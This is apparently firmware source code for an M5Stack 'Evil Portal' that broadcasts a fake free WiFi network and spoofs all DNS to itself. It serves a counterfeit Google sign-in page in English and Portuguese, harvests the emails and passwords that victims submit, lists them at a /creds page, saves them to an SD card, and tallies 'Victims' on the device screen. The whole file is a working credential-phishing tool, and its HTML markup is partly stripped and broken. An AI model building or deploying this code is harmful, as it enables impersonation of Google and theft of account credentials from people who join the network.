// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which // has iterative iprovements over my own stand-alone M5Stick Evil Portal. // Retaining the Portuguese translations since this project has a large // fan base in Brazil. Shouts to CyberJulio as well. #define DEFAULT_AP_SSID_NAME "Nemo Free WiFi" #define SD_CREDS_PATH "/nemo-portal-creds.txt" #if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) #error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR" #endif #if defined(LANGUAGE_EN_US) #define LOGIN_TITLE "Sign in" #define LOGIN_SUBTITLE "Sign In With Google" #define LOGIN_EMAIL_PLACEHOLDER "Email" #define LOGIN_PASSWORD_PLACEHOLDER "Password" #define LOGIN_MESSAGE "Please log in to browse securely." #define LOGIN_BUTTON "Next" #define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet." #elif defined(LANGUAGE_PT_BR) #define LOGIN_TITLE "Fazer login" #define LOGIN_SUBTITLE "Use sua Conta do Google" #define LOGIN_EMAIL_PLACEHOLDER "E-mail" #define LOGIN_PASSWORD_PLACEHOLDER "Senha" #define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura." #define LOGIN_BUTTON "Avançar" #define LOGIN_AFTER_MESSAGE "Fazendo login..." #endif int totalCapturedCredentials = 0; int previousTotalCapturedCredentials = 0; String capturedCredentialsHtml = ""; // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; DNSServer dnsServer; WebServer webServer(80); void setupWiFi() { Serial.println("Initializing WiFi"); WiFi.mode(WIFI_AP); WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); WiFi.softAP(apSsidName); } void setSSID(String ssid){ #if defined USE_EEPROM Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length()); for(int i = 0; i < ssid.length(); i++) { EEPROM.write(i + apSsidOffset, ssid[i]); Serial.printf("%d:%d ", i+ apSsidOffset, ssid[i]); } EEPROM.write(apSsidOffset + ssid.length(), 0); EEPROM.commit(); Serial.println("\ndone."); #endif apSsidName=ssid; return; } void getSSID(){ String ssid=""; #if defined USE_EEPROM if(EEPROM.read(apSsidOffset) < 32 || EEPROM.read(apSsidOffset) > 254){ Serial.println("SSID EEPROM Corrupt or Uninitialized. Using Defaults."); apSsidName=DEFAULT_AP_SSID_NAME; return; } for(int i = apSsidOffset; i < apSsidOffset + apSsidMaxLen; i++) { int ebyte=EEPROM.read(i); Serial.printf("%d:%d ", i, ebyte); if(ebyte < 32 || ebyte > 254){ Serial.println("SSID: " + ssid); apSsidName=ssid; return; } ssid += char(ebyte); } #else apSsidName=DEFAULT_AP_SSID_NAME; #endif return; } void printHomeToScreen() { DISP.fillScreen(BLACK); DISP.setSwapBytes(true); DISP.setTextSize(MEDIUM_TEXT); DISP.setTextColor(TFT_RED, BGCOLOR); DISP.setCursor(0, 0); DISP.println("NEMO PORTAL"); DISP.setTextSize(SMALL_TEXT); DISP.setTextColor(FGCOLOR, BGCOLOR); DISP.printf("%s\n\n",apSsidName.c_str()); DISP.print("WiFi IP: "); DISP.println(AP_GATEWAY); DISP.println("Paths: /creds /ssid"); DISP.setTextSize(MEDIUM_TEXT); DISP.setTextColor(TFT_RED, BGCOLOR); DISP.printf("Victims: %d\n", totalCapturedCredentials); DISP.setTextColor(FGCOLOR, BGCOLOR); } String getInputValue(String argName) { String a = webServer.arg(argName); a.replace("<", "<"); a.replace(">", ">"); a.substring(0, 200); return a; } String getHtmlContents(String body) { String html = "" "" "" " " + apSsidName + "" " " " " " " "" "" "
" "
" " " " " "
" "
" "
" " " "
" "
" + body + "
" "
" "
" "" ""; return html; } String creds_GET() { return getHtmlContents("
    " + capturedCredentialsHtml + "

Back to Index

Clear passwords

"); } String index_GET() { String loginTitle = String(LOGIN_TITLE); String loginSubTitle = String(LOGIN_SUBTITLE); String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER); String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER); String loginMessage = String(LOGIN_MESSAGE); String loginButton = String(LOGIN_BUTTON); return getHtmlContents("
" + loginTitle + "
" + loginSubTitle + "
" + loginMessage + "
"); } String index_POST() { String email = getInputValue("email"); String password = getInputValue("password"); capturedCredentialsHtml = "
  • Email: " + email + "
    Password: " + password + "
  • " + capturedCredentialsHtml; #if defined(SDCARD) appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str()); #endif return getHtmlContents(LOGIN_AFTER_MESSAGE); } String ssid_GET() { return getHtmlContents("

    Set a new SSID for NEMO Portal:

    "); } String ssid_POST() { String ssid = getInputValue("ssid"); Serial.println("SSID Has been changed to " + ssid); setSSID(ssid); printHomeToScreen(); return getHtmlContents("NEMO Portal shutting down and restarting with SSID " + ssid + ". Please reconnect."); } String clear_GET() { String email = "

    "; String password = "

    "; capturedCredentialsHtml = "

    "; totalCapturedCredentials = 0; return getHtmlContents("

    The credentials list has been reset.

    Back to capturedCredentialsHtml
    Back to Index
    "); } #if defined(M5LED) void blinkLed() { int count = 0; while (count < 5) { digitalWrite(M5_LED, LOW); delay(500); digitalWrite(M5_LED, HIGH); delay(500); count = count + 1; } } #endif void shutdownWebServer() { Serial.println("Stopping DNS"); dnsServer.stop(); Serial.println("Closing Webserver"); webServer.close(); Serial.println("Stopping Webserver"); webServer.stop(); Serial.println("Setting WiFi to STA mode"); WiFi.mode(WIFI_MODE_STA); Serial.println("Resetting SSID"); getSSID(); } void setupWebServer() { Serial.println("Starting DNS"); dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP) Serial.println("Setting up Webserver"); webServer.on("/post", []() { totalCapturedCredentials = totalCapturedCredentials + 1; webServer.send(HTTP_CODE, "text/html", index_POST()); #if defined(STICK_C_PLUS) SPEAKER.tone(4000); delay(50); SPEAKER.mute(); #elif defined(CARDPUTER) //SPEAKER.tone(4000, 50); //Silent mode, just in case #endif DISP.print("Victim Login"); #if defined(M5LED) blinkLed(); #endif }); Serial.println("Registering /creds"); webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds_GET()); }); Serial.println("Registering /clear"); webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear_GET()); }); Serial.println("Registering /ssid"); webServer.on("/ssid", []() { webServer.send(HTTP_CODE, "text/html", ssid_GET()); }); Serial.println("Registering /postssid"); webServer.on("/postssid", []() { webServer.send(HTTP_CODE, "text/html", ssid_POST()); shutdownWebServer(); isSwitching=true; current_proc=19; }); Serial.println("Registering /*"); webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index_GET()); }); Serial.println("Starting Webserver"); webServer.begin(); }